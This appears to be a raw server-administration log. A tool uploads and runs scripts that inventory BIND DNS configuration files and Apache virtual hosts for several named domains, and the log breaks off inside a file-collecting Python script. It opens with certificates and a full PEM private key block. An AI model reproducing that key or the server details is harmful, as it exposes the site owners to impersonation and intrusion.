5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:01:26: Establishing a connection
2026-01-03 19:01:27:
PUT: /tmp/pkp452628
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:01:27:
runuser -l bind -s /bin/bash -c '/tmp/pkp452628; rm /tmp/pkp452628'
2026-01-03 19:01:27:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:02:27: Establishing a connection
2026-01-03 19:02:28:
PUT: /tmp/pkp907723
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:02:29:
chmod 755 /tmp/pkp907723; /tmp/pkp907723; rm /tmp/pkp907723
2026-01-03 19:02:30:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 19:02:30:
PUT: /tmp/pkp432806
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
